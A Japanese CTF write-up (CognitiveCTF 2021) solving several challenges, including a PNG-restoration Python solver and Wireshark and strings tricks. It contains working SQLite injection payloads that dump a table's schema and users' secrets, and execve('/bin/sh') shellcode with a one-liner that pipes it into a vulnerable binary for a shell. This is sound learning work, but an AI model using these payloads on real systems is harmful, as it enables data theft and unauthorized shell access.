🐙

CognitiveCTF 2021

2021/11/15に公開

Empire1

SQLiの問題。とりあえず適当に登録すると、Todoリストのアプリが使えるようになる。Todoを登録するフォームにSQLiの脆弱性があるのでそれを攻撃する。DBはSQLiteだった。MySQLだと思い込んでいたので少し時間がかかった。

'|| (select group_concat(name) from sqlite_master) ||'
--> user,ix_user_username,todo
'|| (select group_concat(sql, ' @_@ ') from sqlite_master) ||'
CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) )
CREATE UNIQUE INDEX ix_user_username ON user (username)
CREATE TABLE todo ( id INTEGER NOT NULL, item VARCHAR(256), user_id INTEGER, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) ) 

これでFlag取得できる

'|| (select group_concat(secret) from user) ||'

Java Script Kiddie 2

Webジャンルで出題されているが、中身はPNG復元問題である。
問題ページのjavascriptはhttps://shell1.production.cognitivectf.com/problem/30604/bytesからダウンロードしてきた数字の羅列を操作して画像ファイルにしようとしている。

実際の操作とは異なるが、やっていることはだいたいこんな感じ

  1. 数字の羅列をintの配列に変換
  2. 16個ずつ分け、16x35 の行列に変換
  3. 16個の列をそれぞれ入力に応じて回転させる
  4. 行列を平たくし、バイト列にしてbase64をとり、data urlを作る

ソルバをpythonで書いたので、そっちを見てもらったほうが早いかもしれない。

bs = '174 221 175 71 217 229 123 165 152 246 190 13 149 218 254 254 137 44 109 114 0 202 182 229 229 167 71 0 223 13 63 13 0 158 249 0 13 175 254 198 0 229 229 0 226 118 78 120 74 49 68 0 0 240 12 0 0 0 0 255 229 238 0 31 217 66 120 0 6 122 229 10 0 0 0 11 255 69 68 0 199 80 79 221 0 228 209 114 1 0 0 68 73 0 234 68 18 0 203 110 9 160 0 84 69 3 0 128 0 72 255 0 237 0 71 36 126 0 26 116 82 0 0 218 73 210 181 82 145 159 96 102 196 10 1 89 115 78 83 38 0 255 0 195 153 0 78 79 10 0 76 0 1 0 0 245 255 200 120 165 47 1 1 158 19 80 2 5 80 182 73 207 255 0 87 223 31 218 0 227 222 0 72 32 90 75 115 28 18 84 190 11 145 56 221 40 215 112 0 50 214 169 173 163 65 18 47 156 8 36 0 219 177 252 12 253 188 126 23 167 57 143 171 207 255 47 210 243 237 32 54 83 116 246 195 243 205 47 238 23 67 16 65 217 102 254 24 220 190 26 222 50 47 119 33 47 155 231 64 71 250 195 94 118 203 236 133 157 30 140 224 153 187 143 60 195 103 34 162 145 15 63 205 131 172 223 233 27 196 8 255 109 2 227 54 252 247 59 145 205 89 169 158 255 83 182 69 103 133 143 126 63 124 58 230 20 13 17 157 33 96 225 244 164 31 182 30 247 140 172 167 123 244 93 46 247 0 60 84 145 61 167 14 206 149 81 158 129 179 74 62 208 140 126 63 251 101 21 187 145 35 213 86 171 31 104 219 211 168 121 201 101 15 241 172 136 60 53 23 231 176 103 21 242 236 57 183 49 120 224 235 211 122 175 31 175 223 158 69 200 220 124 163 173 44 178 25 126 165 212 99 142 69 190 166 119 69 253 228 88 51 234 231 247 171 66 100 245 215 29 47 210 158 201 140 175 183 182 200 103 190 115 151 117 149 171 81 89 88 143 119 65 3 82 92 191 85 52 150 49 197 145 15 85 236 61 83 158 23 242 54 18 67 92 235 132 205 113 122 79 121 153 247 151 158 236 162 104 222 125 94 31 245 107 187 231 253 203 19 230 212 165 126 125 241 147 167 78 0 231 206 12 95 79 159 255 103 121 11 197 181 15 167 229 40 145 124 89 64 171 75 19 183 181 191 163 30 54 48 0 22 98 98 32 68 255 60 130 60 60 185 145 245 147 127 0 238 231 237 242'

l = bs.split()

def print_16(l):
    r = []
    for i in range(len(l) // 16):
        r.append(l[i*16:(i+1)*16])

    ba = [bytes([int(s) for s in l]) for l in r]
    # print('\n'.join(ba))

    print()
    for b in ba:
        # print('\t'.join([chr(i) if ord('A')<=i<=ord('z') else hex(i)[2:] for i in b]))
        print('\t'.join([format(i, '02x') for i in b]))

# print(l)

shifters = 1, 5 ,  9 ,  0  , 2   ,8 ,  7  , 4   , 4  , 5 ,  5 , 0 ,  7  , 6 ,  4 ,  7
result = [0] * (len(l)+16)
for i in range(16):
    shifter = shifters[i]
    for j in range(len(l)//16):
        result[(j * 16) + i] = l[(((j + shifter) * 16) % len(l)) + i]

print_16(result)

anspng = bytes([int(s) for s in result])
with open('ans.png', 'wb') as f:
    f.write(anspng)

QRコードが出てくるのでそれを読み込めばflag

ちなみにこの文字列をwebフォームに入力すれば直ちにQRコードが出てくる。
1a5a9a0a2a8a7a4a4a5a5a0a7a6a4a7a

handy-shellcode

いままでpwnをあまりやってこなかったのでシェルコードの作り方や送り方を知らなかった。なので今回勉強してみた。
https://qiita.com/yyamada_bigtree/items/4724d50159cf9128748d
この記事が大変参考になりました。
シェルコードは上記記事で紹介されているシェルコードを書いてみる
のものを使いました。

BITS 32
global _start

_start:
    mov eax, 11
    jmp buf
setebx:
    pop ebx
    xor ecx, ecx
    mov edx, edx
    int 0x80

buf:
    call setebx
    db '/bin/sh', 0

これを

nasm shellcode.s
xxd -p shellcode

アセンブリして16進文字列化し、

(echo b80b000000eb075b31c989d2cd80e8f4ffffff2f62696e2f736800|xxd -r -p; cat -)| ./vuln
cat flag.txt
CognitiveCTF{h4ndY_d4ndY_sh311c0d3_613770e1}

で送り込んでシェルを取ってflagを手に入れた。

mus1c

Rockstarとかいうプログラミング言語があるらしい。
https://gchq.github.io/CyberChef/#recipe=Find_/_Replace({'option':'Regex','string':'\\n'},' ',true,false,true,false)From_Decimal('Space',false)&input=MTE0CjExNAoxMTQKMTExCjk5CjEwNwoxMTAKMTE0CjExMAo0OAo0OQo0OQo1MQoxMTQKOTUKMTAxCjUzCjk3CjUwCg

shark on wire 1

Wireshark で読み込んで表示フィルタをudp.stream eq 6に設定しでてきたパケットを 追跡 > UDP stream するとflag
この機能は今回初めて知った。
https://atmarkit.itmedia.co.jp/fwin2k/win2ktips/1048wsharkstream/wsharkstream.html

slippery-shellcode

http://shell-storm.org/shellcode/
シェルコード配布サイトがあった……
Linux/x86 - execve(/bin/bash, [/bin/sh, -p], NULL) - 33 bytes by Jonathan Salwanの先頭にnopをつけまくったシェルコードを使ったら通った。なぜか自作のものは通らなかった。

like1000

tarは圧縮を行わないのでstringsすれば見つかる

strings 1000.tar | grep -i ctf

Discussion